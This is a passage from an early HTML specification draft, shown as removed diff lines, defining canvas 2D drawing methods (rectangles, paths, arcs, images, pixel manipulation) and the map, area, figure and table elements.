-  <h6 id=simple><span class=secno>3.14.6.1.7. </span>Simple shapes
-   (rectangles)</h6>
-
-  <p>There are three methods that immediately draw rectangles to the bitmap.
-   They each take four arguments; the first two give the <var
-   title="">x</var> and <var title="">y</var> coordinates of the top left of
-   the rectangle, and the second two give the width and height of the
-   rectangle, respectively.
-
-  <p>Shapes are painted without affecting the current path, and are subject
-   to <span title=dom-context-2d->transformations</span>, <a href="#shadows1"
-   title=shadows>shadow effects</a>, <span title=globalAlpha>global
-   alpha</span>, <a href="#clipping" title="clipping path">clipping
-   paths</a>, and <span title=globalCompositeOperation>global composition
-   operators</span>.
-
-  <p>Negative values for width and height must cause the implementation to
-   raise an <code>INDEX_SIZE_ERR</code> exception.
-
-  <p>The <dfn id=clearrect
-   title=dom-context-2d-clearRect><code>clearRect()</code></dfn> method must
-   clear the pixels in the specified rectangle to a fully transparent black,
-   erasing any previous image. If either height or width are zero, this
-   method has no effect.
-
-  <p>The <dfn id=fillrect
-   title=dom-context-2d-fillRect><code>fillRect()</code></dfn> method must
-   paint the specified rectangular area using the <code
-   title=dom-context-2d-fillStyle><a href="#fillstyle">fillStyle</a></code>.
-   If either height or width are zero, this method has no effect.
-
-  <p>The <dfn id=strokerect
-   title=dom-context-2d-strokeRect><code>strokeRect()</code></dfn> method
-   must draw a rectangular outline of the specified size using the <code
-   title=dom-context-2d-strokeStyle><a
-   href="#strokestyle">strokeStyle</a></code>, <code
-   title=dom-context-2d-lineWidth><a href="#linewidth">lineWidth</a></code>,
-   <code title=dom-context-2d-lineJoin><a
-   href="#linejoin">lineJoin</a></code>, and (if appropriate) <code
-   title=dom-context-2d-miterLimit><a
-   href="#miterlimit">miterLimit</a></code> attributes. <span
-   title=issue>What should happen with zero heights or widths?</span>
-
-  <h6 id=complex><span class=secno>3.14.6.1.8. </span>Complex shapes (paths)</h6>
-
-  <p>The context always has a current path. There is only one current path,
-   it is not part of the <span title=dom-context-2d->drawing state</span>.
-
-  <p>A <dfn id=path>path</dfn> has a list of zero or more subpaths. Each
-   subpath consists of a list of one or more points, connected by straight or
-   curved lines, and a flag indicating whether the subpath is closed or not.
-   A closed subpath is one where the last point of the subpath is connected
-   to the first point of the subpath by a straight line. Subpaths with fewer
-   than two points are ignored when painting the path.
-
-  <p>Initially, the context's path must have zero subpaths.
-
-  <p>The <dfn id=beginpath
-   title=dom-context-2d-beginPath><code>beginPath()</code></dfn> method must
-   empty the list of subpaths so that the context once again has zero
-   subpaths.
-
-  <p>The <dfn id=moveto title=dom-context-2d-moveTo><code>moveTo(<var
-   title="">x</var>, <var title="">y</var>)</code></dfn> method must create a
-   new subpath with the specified point as its first (and only) point.
-
-  <p>The <dfn id=closepath
-   title=dom-context-2d-closePath><code>closePath()</code></dfn> method must
-   do nothing if the context has no subpaths. Otherwise, it must mark the
-   last subpath as closed, create a new subpath whose first point is the same
-   as the previous subpath's first point, and finally add this new subpath to
-   the path. (If the last subpath had more than one point in its list of
-   points, then this is equivalent to adding a straight line connecting the
-   last point back to the first point, thus "closing" the shape, and then
-   repeating the last <code title=dom-context-2d-moveTo><a
-   href="#moveto">moveTo()</a></code> call.)
-
-  <p>New points and the lines connecting them are added to subpaths using the
-   methods described below. In all cases, the methods only modify the last
-   subpath in the context's paths.
-
-  <p>The <dfn id=lineto title=dom-context-2d-lineTo><code>lineTo(<var
-   title="">x</var>, <var title="">y</var>)</code></dfn> method must do
-   nothing if the context has no subpaths. Otherwise, it must connect the
-   last point in the subpath to the given point (<var title="">x</var>, <var
-   title="">y</var>) using a straight line, and must then add the given point
-   (<var title="">x</var>, <var title="">y</var>) to the subpath.
-
-  <p>The <dfn id=quadraticcurveto
-   title=dom-context-2d-quadraticCurveTo><code>quadraticCurveTo(<var
-   title="">cpx</var>, <var title="">cpy</var>, <var title="">x</var>, <var
-   title="">y</var>)</code></dfn> method must do nothing if the context has
-   no subpaths. Otherwise it must connect the last point in the subpath to
-   the given point (<var title="">x</var>, <var title="">y</var>) by a
-   quadratic curve with control point (<var title="">cpx</var>, <var
-   title="">cpy</var>), and must then add the given point (<var
-   title="">x</var>, <var title="">y</var>) to the subpath.
-
-  <p>The <dfn id=beziercurveto
-   title=dom-context-2d-bezierCurveTo><code>bezierCurveTo(<var
-   title="">cp1x</var>, <var title="">cp1y</var>, <var title="">cp2x</var>,
-   <var title="">cp2y</var>, <var title="">x</var>, <var
-   title="">y</var>)</code></dfn> method must do nothing if the context has
-   no subpaths. Otherwise, it must connect the last point in the subpath to
-   the given point (<var title="">x</var>, <var title="">y</var>) using a
-   bezier curve with control points (<var title="">cp1x</var>, <var
-   title="">cp1y</var>) and (<var title="">cp2x</var>, <var
-   title="">cp2y</var>). Then, it must add the point (<var title="">x</var>,
-   <var title="">y</var>) to the subpath.
-
-  <p>The <dfn id=arcto title=dom-context-2d-arcTo><code>arcTo(<var
-   title="">x1</var>, <var title="">y1</var>, <var title="">x2</var>, <var
-   title="">y2</var>, <var title="">radius</var>)</code></dfn> method must do
-   nothing if the context has no subpaths. If the context <em>does</em> have
-   a subpath, then the behaviour depends on the arguments and the last point
-   in the subpath.
-
-  <p>Let the point (<var title="">x0</var>, <var title="">y0</var>) be the
-   last point in the subpath. Let <var title="">The Arc</var> be the shortest
-   arc given by circumference of the circle that has one point tangent to the
-   line defined by the points (<var title="">x0</var>, <var
-   title="">y0</var>) and (<var title="">x1</var>, <var title="">y1</var>),
-   another point tangent to the line defined by the points (<var
-   title="">x1</var>, <var title="">y1</var>) and (<var title="">x2</var>,
-   <var title="">y2</var>), and that has radius <var title="">radius</var>.
-   The points at which this circle touches these two lines are called the
-   start and end tangent points respectively.
-
-  <p>If the point (<var title="">x2</var>, <var title="">y2</var>) is on the
-   line defined by the points (<var title="">x0</var>, <var
-   title="">y0</var>) and (<var title="">x1</var>, <var title="">y1</var>)
-   then the method must do nothing, as no arc would satisfy the above
-   constraints.
-
-  <p>Otherwise, the method must connect the point (<var title="">x0</var>,
-   <var title="">y0</var>) to the start tangent point by a straight line,
-   then connect the start tangent point to the end tangent point by <var
-   title="">The Arc</var>, and finally add the start and end tangent points
-   to the subpath.
-
-  <p>Negative or zero values for <var title="">radius</var> must cause the
-   implementation to raise an <code>INDEX_SIZE_ERR</code> exception.
-
-  <p>The <dfn id=arcx- title=dom-context-2d-arc><code>arc(<var
-   title="">x</var>, <var title="">y</var>, <var title="">radius</var>, <var
-   title="">startAngle</var>, <var title="">endAngle</var>, <var
-   title="">anticlockwise</var>)</code></dfn> method draws an arc. If the
-   context has any subpaths, then the method must add a straight line from
-   the last point in the subpath to the start point of the arc. In any case,
-   it must draw the arc between the start point of the arc and the end point
-   of the arc, and add the start and end points of the arc to the subpath.
-   The arc and its start and end points are defined as follows:
-
-  <p>Consider a circle that has its origin at (<var title="">x</var>, <var
-   title="">y</var>) and that has radius <var title="">radius</var>. The
-   points at <var title="">startAngle</var> and <var title="">endAngle</var>
-   along the circle's circumference, measured in radians clockwise from the
-   positive x-axis, are the start and end points respectively. The arc is the
-   path along the circumference of this circle from the start point to the
-   end point, going anti-clockwise if the <var title="">anticlockwise</var>
-   argument is true, and clockwise otherwise.
-
-  <p>Negative or zero values for <var title="">radius</var> must cause the
-   implementation to raise an <code>INDEX_SIZE_ERR</code> exception.
-
-  <p>The <dfn id=rectx title=dom-context-2d-rect><code>rect(<var
-   title="">x</var>, <var title="">y</var>, <var title="">w</var>, <var
-   title="">h</var>)</code></dfn> method must create a new subpath containing
-   just the four points (<var title="">x</var>, <var title="">y</var>), (<var
-   title="">x</var>+<var title="">w</var>, <var title="">y</var>), (<var
-   title="">x</var>+<var title="">w</var>, <var title="">y</var>+<var
-   title="">h</var>), (<var title="">x</var>, <var title="">y</var>+<var
-   title="">h</var>), with those four points connected by straight lines, and
-   must then mark the subpath as closed. It must then create a new subpath
-   with the point (<var title="">x</var>, <var title="">y</var>) as the only
-   point in the subpath.
-
-  <p>Negative values for <var title="">w</var> and <var title="">h</var> must
-   cause the implementation to raise an <code>INDEX_SIZE_ERR</code>
-   exception.
-
-  <p>The <dfn id=fill title=dom-context-2d-fill><code>fill()</code></dfn>
-   method must fill each subpath of the current path in turn, using <code
-   title=dom-context-2d-fillStyle><a href="#fillstyle">fillStyle</a></code>,
-   and using the non-zero winding number rule. Open subpaths must be
-   implicitly closed when being filled (without affecting the actual
-   subpaths).
-
-  <p>The <dfn id=stroke
-   title=dom-context-2d-stroke><code>stroke()</code></dfn> method must stroke
-   each subpath of the current path in turn, using the <code
-   title=dom-context-2d-strokeStyle><a
-   href="#strokestyle">strokeStyle</a></code>, <code
-   title=dom-context-2d-lineWidth><a href="#linewidth">lineWidth</a></code>,
-   <code title=dom-context-2d-lineJoin><a
-   href="#linejoin">lineJoin</a></code>, and (if appropriate) <code
-   title=dom-context-2d-miterLimit><a
-   href="#miterlimit">miterLimit</a></code> attributes.
-
-  <p>Paths, when filled or stroked, must be painted without affecting the
-   current path, and must be subject to <a
-   href="#transformations1">transformations</a>, <a href="#shadows1"
-   title=shadows>shadow effects</a>, <a href="#globalalpha"
-   title=dom-context-2d-globalAlpha>global alpha</a>, <a href="#clipping"
-   title="clipping path">clipping paths</a>, and <a
-   href="#globalcompositeoperation"
-   title=dom-context-2d-globalCompositeOperation>global composition
-   operators</a>.
-
-  <p class=note>The transformation is applied to the path when it is drawn,
-   not when the path is constructed. Thus, a single path can be constructed
-   and then drawn according to different transformations without recreating
-   the path.
-
-  <p>The <dfn id=clip title=dom-context-2d-clip><code>clip()</code></dfn>
-   method must create a new <dfn id=clipping>clipping path</dfn> by
-   calculating the intersection of the current clipping path and the area
-   described by the current path (after applying the <span>current
-   transformation</span>), using the non-zero winding number rule. Open
-   subpaths must be implicitly closed when computing the clipping path,
-   without affecting the actual subpaths.
-
-  <p>When the context is created, the initial clipping path is the rectangle
-   with the top left corner at (0,0) and the width and height of the
-   coordinate space.
-
-  <p>The <dfn id=ispointinpath
-   title=dom-context-2d-isPointInPath><code>isPointInPath(<var
-   title="">x</var>, <var title="">y</var>)</code></dfn> method must return
-   true if the point given by the <var title="">x</var> and <var
-   title="">y</var> coordinates passed to the method, when treated as
-   coordinates in the canvas' coordinate space unaffected by the current
-   transformation, is within the area of the canvas that is inside the
-   current path; and must return false otherwise.
-
-  <h6 id=images><span class=secno>3.14.6.1.9. </span>Images</h6>
-
-  <p>To draw images onto the canvas, the <dfn id=drawimage
-   title=dom-context-2d-drawImage><code>drawImage</code></dfn> method can be
-   used.
-
-  <p>This method is overloaded with three variants: <code
-   title="">drawImage(<var title="">image</var>, <var title="">dx</var>, <var
-   title="">dy</var>)</code>, <code title="">drawImage(<var
-   title="">image</var>, <var title="">dx</var>, <var title="">dy</var>, <var
-   title="">dw</var>, <var title="">dh</var>)</code>, and <code
-   title="">drawImage(<var title="">image</var>, <var title="">sx</var>, <var
-   title="">sy</var>, <var title="">sw</var>, <var title="">sh</var>, <var
-   title="">dx</var>, <var title="">dy</var>, <var title="">dw</var>, <var
-   title="">dh</var>)</code>. (Actually it is overloaded with six; each of
-   those three can take either an <code><a
-   href="#htmlimageelement">HTMLImageElement</a></code> or an <code><a
-   href="#htmlcanvaselement">HTMLCanvasElement</a></code> for the <var
-   title="">image</var> argument.) If not specified, the <var
-   title="">dw</var> and <var title="">dh</var> arguments default to the
-   values of <var title="">sw</var> and <var title="">sh</var>, interpreted
-   such that one CSS pixel in the image is treated as one unit in the canvas
-   coordinate space. If the <var title="">sx</var>, <var title="">sy</var>,
-   <var title="">sw</var>, and <var title="">sh</var> arguments are omitted,
-   they default to 0, 0, the image's intrinsic width in image pixels, and the
-   image's intrinsic height in image pixels, respectively.
-
-  <p>The <var title="">image</var> argument must be an instance of an
-   <code><a href="#htmlimageelement">HTMLImageElement</a></code> or <code><a
-   href="#htmlcanvaselement">HTMLCanvasElement</a></code>. If the <var
-   title="">image</var> is of the wrong type, the implementation must raise a
-   <code>TYPE_MISMATCH_ERR</code> exception. If one of the <var
-   title="">sy</var>, <var title="">sw</var>, <var title="">sw</var>, and
-   <var title="">sh</var> arguments is outside the size of the image, or if
-   one of the <var title="">dw</var> and <var title="">dh</var> arguments is
-   negative, the implementation must raise an <code>INDEX_SIZE_ERR</code>
-   exception.
-
-  <p>When <code title=dom-context-2d-drawImage><a
-   href="#drawimage">drawImage()</a></code> is invoked, the specified region
-   of the image specified by the source rectangle (<var title="">sx</var>,
-   <var title="">sy</var>, <var title="">sw</var>, <var title="">sh</var>)
-   must be painted on the region of the canvas specified by the destination
-   rectangle (<var title="">dx</var>, <var title="">dy</var>, <var
-   title="">dw</var>, <var title="">dh</var>).
-
-  <p><img alt="" src=drawImage.png></p>
-  <!-- no alt="" text since
-  the image is just repeating what was stated in the previous
-  paragraph. -->
-
-  <p>Images are painted without affecting the current path, and are subject
-   to <a href="#transformations1">transformations</a>, <a href="#shadows1"
-   title=shadows>shadow effects</a>, <a href="#globalalpha"
-   title=dom-context-2d-globalAlpha>global alpha</a>, <a href="#clipping"
-   title="clipping path">clipping paths</a>, and <a
-   href="#globalcompositeoperation"
-   title=dom-context-2d-globalCompositeOperation>global composition
-   operators</a>.</p>
-  <!-- XXX should somehow say that the image used is the actual image
-  of the target element, not the rendered image (e.g. height/width
-  attributes don't affect it -->
-
-  <h6 id=pixel><span class=secno>3.14.6.1.10. </span><dfn id=pixel1>Pixel
-   manipulation</dfn></h6>
-
-  <p>The <dfn id=getimagedata
-   title=dom-context-2d-getImageData><code>getImageData(<var
-   title="">sx</var>, <var title="">sy</var>, <var title="">sw</var>, <var
-   title="">sh</var>)</code></dfn> method must return an <code><a
-   href="#imagedata">ImageData</a></code> object representing the underlying
-   pixel data for the area of the canvas denoted by the rectangle which has
-   one corner at the (<var title="">sx</var>, <var title="">sy</var>)
-   coordinate, and that has width <var title="">sw</var> and height <var
-   title="">sh</var>. Pixels outside the canvas must be returned as
-   transparent black.
-
-  <p><code><a href="#imagedata">ImageData</a></code> objects must be
-   initialised so that their <dfn id=height5
-   title=dom-imagedata-height><code>height</code></dfn> attribute is set to
-   <var title="">h</var>, the number of rows in the image data, their <dfn
-   id=width5 title=dom-imagedata-width><code>width</code></dfn> attribute is
-   set to <var title="">w</var>, the number of physical device pixels per row
-   in the image data, and the <dfn id=data1
-   title=dom-imagedata-data><code>data</code></dfn> attribute is initialised
-   to an array of <var title="">h</var>AMPERSANDtimes;<var title="">w</var>AMPERSANDtimes;4
-   integers. The pixels must be represented in this array in left-to-right
-   order, row by row, starting at the top left, with each pixel's red, green,
-   blue, and alpha components being given in that order. Each component of
-   each device pixel represented in this array must be in the range 0..255,
-   representing the 8 bit value for that component.
-
-  <p>The <dfn id=putimagedata
-   title=dom-context-2d-putImageData><code>putImageData(<var
-   title="">image</var>, <var title="">dx</var>, <var
-   title="">dy</var>)</code></dfn> method must take the given <code><a
-   href="#imagedata">ImageData</a></code> structure, and draw it at the
-   specified location <var title="">dx</var>,<var title="">dy</var> in the
-   canvas coordinate space, mapping each pixel represented by the <code><a
-   href="#imagedata">ImageData</a></code> structure into one device pixel.
-
-  <p>The handling of pixel rounding when the specified coordinates do not
-   exactly map to the device coordinate space is not defined by this
-   specification, except that the following must result in no visible changes
-   to the rendering:
-
-  <pre>context.putImageData(context.getImageData(x, y, w, h), x, y);</pre>
-
-  <p>...for any value of <var title="">x</var> and <var title="">y</var>. In
-   other words, while user agents may round the arguments of the two methods
-   so that they map to device pixel boundaries, any rounding performed must
-   be performed consistently for both the <code
-   title=dom-context-2d-getImageData><a
-   href="#getimagedata">getImageData()</a></code> and <code
-   title=dom-context-2d-putImageData><a
-   href="#putimagedata">putImageData()</a></code> operations.
-
-  <p>The current transformation matrix must not affect the <code
-   title=dom-context-2d-getImageData><a
-   href="#getimagedata">getImageData()</a></code> and <code
-   title=dom-context-2d-putImageData><a
-   href="#putimagedata">putImageData()</a></code> methods.
-
-  <h6 id=drawing><span class=secno>3.14.6.1.11. </span>Drawing model</h6>
-
-  <p>When a shape or image is painted, user agents must follow these steps,
-   in the order given (or act as if they do):
-
-  <ol>
-   <li>The coordinates are transformed by the current transformation matrix.
-
-   <li>The shape or image is rendered, creating image <var title="">A</var>,
-    as described in the previous sections. For shapes, the current fill,
-    stroke, and line styles must be honoured.
-
-   <li>The shadow is rendered from image <var title="">A</var>, using the
-    current shadow styles, creating image <var title="">B</var>.
-
-   <li>Image <var title="">A</var> is composited over image <var
-    title="">B</var> creating the source image.
-
-   <li>The source image has its alpha adjusted by <code
-    title=dom-context-2d-globalAlpha><a
-    href="#globalalpha">globalAlpha</a></code>.
-
-   <li>Within the clip region (as affected by the current transformation
-    matrix), the source image is composited over the current canvas bitmap
-    using the current composition operator.
-  </ol>
-  <!--
-  <h4 id="3d">The 3D context</h4>
-
-  <p class="big-issue">Well, one day.</p>
--->
-
-  <h4 id=the-map><span class=secno>3.14.7. </span>The <dfn
-   id=map0><code>map</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dt>Content model:
-
-   <dd>Zero or more <a href="#block-level1">block-level elements</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-map-name><a href="#name3">name</a></code> (required)
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlmapelement>HTMLMapElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <a href="#name4" title=dom-map-name>name</a>;
-  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#areas" title=dom-map-areas>areas</a>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#map0">map</a></code> element, in conjuction with any
-   <code><a href="#area0">area</a></code> element descendants, defines an <a
-   href="#image">image map</a>.
-
-  <p>The <dfn id=name3 title=attr-map-name><code>name</code></dfn> attribute
-   gives the name of the image map, so that it can be referenced using the
-   <code title=attr-hyperlink-usemap><a href="#usemap1">usemap</a></code>
-   attribute of <code><a href="#img0">img</a></code> and <code><a
-   href="#object0">object</a></code> elements.
-
-  <p>The <code title=attr-map-name><a href="#name3">name</a></code> attribute
-   must be present. Its value must be a non-empty string. The value of the
-   <code title=attr-map-name><a href="#name3">name</a></code> attribute must
-   be unique, such that no two <code><a href="#map0">map</a></code> elements
-   in a common subtree have the same value.
-
-  <p>The <dfn id=name4 title=dom-map-name><code>name</code></dfn> DOM
-   attribute must <a href="#reflect">reflect</a> the content attribute of the
-   same name.
-
-  <p>The <dfn id=areas title=dom-map-areas><code>areas</code></dfn> attribute
-   must return an <code><a href="#htmlcollection0">HTMLCollection</a></code>
-   rooted at the <code><a href="#map0">map</a></code> element, whose filter
-   matches only <code><a href="#area0">area</a></code> elements.
-
-  <h4 id=the-area><span class=secno>3.14.8. </span>The <dfn
-   id=area0><code>area</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.</p>
-  <!-- XXX as defined, the area element on its own isn't enough to
-  satisfy "significant inline-level content" model. should it be? -->
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed, but only as a descendant of a <code><a
-    href="#map0">map</a></code> element.
-
-   <dt>Content model:
-
-   <dd>Empty.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-area-alt><a href="#alt1">alt</a></code> (required)
-
-   <dd><code title=attr-area-coords><a href="#coords0">coords</a></code>
-
-   <dd><code title=attr-area-shape><a href="#shape0">shape</a></code>
-
-   <dd><code title=attr-hyperlink-href><a href="#href5">href</a></code>
-
-   <dd><code title=attr-hyperlink-rel><a href="#rel3">rel</a></code>
-
-   <dd><code title=attr-hyperlink-media><a href="#media5">media</a></code>
-
-   <dd><code title=attr-hyperlink-hreflang><a
-    href="#hreflang3">hreflang</a></code>
-
-   <dd><code title=attr-hyperlink-type><a href="#type14">type</a></code>
-
-   <dd><code title=attr-hyperlink-ping><a href="#ping">ping</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlareaelement>HTMLAreaElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <a href="#alt2" title=dom-area-alt>alt</a>;
-           attribute DOMString <a href="#coords" title=dom-area-coords>coords</a>;
-           attribute DOMString <a href="#shape" title=dom-area-shape>shape</a>;
-           attribute DOMString <a href="#href4" title=dom-area-href>href</a>;
-           attribute DOMString <a href="#rel2" title=dom-area-rel>rel</a>;
-           attribute DOMString <a href="#media4" title=dom-area-media>media</a>;
-           attribute DOMString <a href="#hreflang2" title=dom-area-hreflang>hreflang</a>;
-           attribute DOMString <a href="#type8" title=dom-area-type>type</a>;
-           attribute DOMString <a href="#ping1" title=dom-area-ping>ping</a>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#area0">area</a></code> elements represents some text
-   with corresponding to an area on an <a href="#image">image map</a>. The
-   <dfn id=alt1 title=attr-area-alt><code>alt</code></dfn> attribute, which
-   must be present, specifies the text, and the <code
-   title=attr-area-coords><a href="#coords0">coords</a></code> and <code
-   title=attr-area-shape><a href="#shape0">shape</a></code> attributes
-   specify the area.
-
-  <p>If the <code><a href="#area0">area</a></code> element has an <code
-   title=attr-hyperlink-href><a href="#href5">href</a></code> attribute, then
-   it represents a <a href="#hyperlinks">hyperlink</a>.
-
-  <p>If the <code><a href="#area0">area</a></code> element has no <code
-   title=attr-hyperlink-href><a href="#href5">href</a></code> attribute, then
-   the area represented by the element cannot be selected.
-
-  <p>Interactive user agents should allow users to <a href="#following1"
-   title="following hyperlinks">follow hyperlinks</a> created for <a
-   href="#valid5" title="valid area">valid areas</a> using the <code><a
-   href="#area0">area</a></code> element. The <code
-   title=attr-hyperlink-href><a href="#href5">href</a></code> and <code
-   title=attr-hyperlink-ping><a href="#ping">ping</a></code> attributes
-   decide how the link is followed. The <code title=attr-hyperlink-rel><a
-   href="#rel3">rel</a></code>, <code title=attr-hyperlink-media><a
-   href="#media5">media</a></code>, <code title=attr-hyperlink-hreflang><a
-   href="#hreflang3">hreflang</a></code>, and <code
-   title=attr-hyperlink-type><a href="#type14">type</a></code> attributes may
-   be used to indicate to the user the likely nature of the target resource
-   before the user follows the link.
-
-  <p>The DOM attributes <dfn id=alt2
-   title=dom-area-alt><code>alt</code></dfn>, <dfn id=coords
-   title=dom-area-coords><code>coords</code></dfn>, <dfn id=shape
-   title=dom-area-shape><code>shape</code></dfn>, <dfn id=href4
-   title=dom-area-href><code>href</code></dfn>, <dfn id=rel2
-   title=dom-area-rel><code>rel</code></dfn>, <dfn id=media4
-   title=dom-area-media><code>media</code></dfn>, <dfn id=hreflang2
-   title=dom-area-hreflang><code>hreflang</code></dfn>, <dfn id=type8
-   title=dom-area-type><code>type</code></dfn>, and <dfn id=ping1
-   title=dom-area-ping><code>ping</code></dfn> each must <a
-   href="#reflect">reflect</a> the respective content attributes of the same
-   name.
-
-  <h4 id=the-figure><span class=secno>3.14.9. </span>The <dfn
-   id=figure0><code>figure</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dt>Content model:
-
-   <dd>In any order, exactly one <code><a href="#legend0">legend</a></code>
-    element, and exactly one <a href="#embedded0">embedded content</a>
-    element.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd><code title=class-issue><a href="#issue0">example</a></code>, <code
-    title=class-warning><a href="#warning0">warning</a></code>
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#figure0">figure</a></code> element represents a <a
-   href="#paragraph">paragraph</a> consisting of embedded content and a
-   caption.
-
-  <p>The first <a href="#embedded0">embedded content</a> element child of the
-   <code><a href="#figure0">figure</a></code> element, if any, is the
-   paragraph's content.
-
-  <p>The first <code><a href="#legend0">legend</a></code> element child of
-   the element, if any, represents the caption of the embedded content. If
-   there is no child <code><a href="#legend0">legend</a></code> element, then
-   there is no caption.
-
-  <p>If the embedded content cannot be used, then, for the purposes of
-   establishing what the <code><a href="#figure0">figure</a></code> element
-   represents:
-
-  <dl class=switch>
-   <dt>If the embedded content's <a href="#fallback">fallback content</a> is
-    a single <a href="#embedded0">embedded content</a> element
-
-   <dd>The <code><a href="#figure0">figure</a></code> element must be treated
-    as if that <a href="#embedded0">embedded content</a> element was the
-    <code><a href="#figure0">figure</a></code> element's embedded content.
-    (If that embedded content can't be used either, then this processing must
-    be done again, with the new embedded content's <a
-    href="#fallback">fallback content</a>.)
-
-   <dt>If the embedded content's fallback is nothing
-
-   <dd>The entire <code><a href="#figure0">figure</a></code> element
-    (including the caption, if any) must be ignored.
-
-   <dt>If the embedded content's fallback is <a
-    href="#inline-level1">inline-level content</a>
-
-   <dd>The entire <code><a href="#figure0">figure</a></code> element
-    (including the caption, if any) must be treated as being a single <a
-    href="#paragraph">paragraph</a> with that <a
-    href="#inline-level1">inline-level content</a> as its content.
-
-   <dt>Otherwise
-
-   <dd>The entire <code><a href="#figure0">figure</a></code> element
-    (including the caption, if any) must be treated as being replaced by that
-    fallback content.
-  </dl>
-
-  <h3 id=tabular><span class=secno>3.15. </span>Tabular data</h3>
-
-  <h4 id=the-table><span class=secno>3.15.1. </span>The <dfn
-   id=table0><code>table</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>, and <a href="#structured" title="structured inline-level
-   elements">structured inline-level element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dd>Where <a href="#structured">structured inline-level elements</a> are
-    allowed.
-
-   <dt>Content model:
-
-   <dd>In this order: optionally a <code><a
-    href="#caption1">caption</a></code> element, followed by either zero or
-    more <code><a href="#colgroup0">colgroup</a></code> elements, followed
-    optionally by a <code><a href="#thead1">thead</a></code> element,
-    followed optionally by a <code><a href="#tfoot1">tfoot</a></code>
-    element, followed by either zero or more <code><a
-    href="#tbody0">tbody</a></code> elements <em>or</em> one or more <code><a
-    href="#tr0">tr</a></code> elements, followed optionally by a <code><a
-    href="#tfoot1">tfoot</a></code> element (but there can only be one
-    <code><a href="#tfoot1">tfoot</a></code> element child in total).
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmltableelement>HTMLTableElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute <span>HTMLTableCaptionElement</span> <a href="#caption0" title=dom-table-caption>caption</a>;
-  HTMLElement <a href="#createcaption" title=dom-table-createCaption>createCaption</a>();
-  void <a href="#deletecaption" title=dom-table-deleteCaption>deleteCaption</a>();
-           attribute <a href="#htmltablesectionelement">HTMLTableSectionElement</a> <a href="#thead0" title=dom-table-tHead>tHead</a>;
-  HTMLElement <a href="#createthead" title=dom-table-createTHead>createTHead</a>();
-  void <a href="#deletethead" title=dom-table-deleteTHead>deleteTHead</a>();
-           attribute <a href="#htmltablesectionelement">HTMLTableSectionElement</a> <a href="#tfoot0" title=dom-table-tFoot>tFoot</a>;
-  HTMLElement <a href="#createtfoot" title=dom-table-createTFoot>createTFoot</a>();
-  void <a href="#deletetfoot" title=dom-table-deleteTFoot>deleteTFoot</a>();
-  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#tbodies" title=dom-table-tBodies>tBodies</a>;
-  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#rows" title=dom-table-rows>rows</a>;
-  HTMLElement <a href="#insertrow" title=dom-table-insertRow>insertRow</a>(in long index);
-  void <a href="#deleterow" title=dom-table-deleteRow>deleteRow</a>(in long index);
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#table0">table</a></code> element represents data
-   with more than one dimension (a <a href="#table2"
-   title=concept-table>table</a>).
-
-  <p>The children of a <code><a href="#table0">table</a></code> element must
-   be, in order:
-
-  <ol>
-   <li>
-    <p>Zero or one <code><a href="#caption1">caption</a></code> elements.
-
-   <li>
-    <p>Zero or more <code><a href="#colgroup0">colgroup</a></code> elements.
-
-   <li>
-    <p>Zero or one <code><a href="#thead1">thead</a></code> elements.
-
-   <li>
-    <p>Zero or one <code><a href="#tfoot1">tfoot</a></code> elements, if the
-     last element in the table is not a <code><a
-     href="#tfoot1">tfoot</a></code> element.
-
-   <li>
-    <p>Either:</p>
-
-    <ul>
-     <li>Zero or more <code><a href="#tbody0">tbody</a></code> elements, or
-
-     <li>One or more <code><a href="#tr0">tr</a></code> elements.
-    </ul>
-
-   <li>
-    <p>Zero or one <code><a href="#tfoot1">tfoot</a></code> element, if there
-     are no other <code><a href="#tfoot1">tfoot</a></code> elements in the
-     table.
-  </ol>
-
-  <p>The <code><a href="#table0">table</a></code> element takes part in the
-   <a href="#table1">table model</a>.
-
-  <p>The <dfn id=caption0 title=dom-table-caption><code>caption</code></dfn>
-   DOM attribute must return, on getting, the first <code><a
-   href="#caption1">caption</a></code> element child of the <code><a
-   href="#table0">table</a></code> element. On setting, the first <code><a
-   href="#caption1">caption</a></code> element child of the <code><a
-   href="#table0">table</a></code> element, if any, must be removed, and the
-   new value must be inserted as the first node of the <code><a
-   href="#table0">table</a></code> element.
-
-  <p>The <dfn id=createcaption
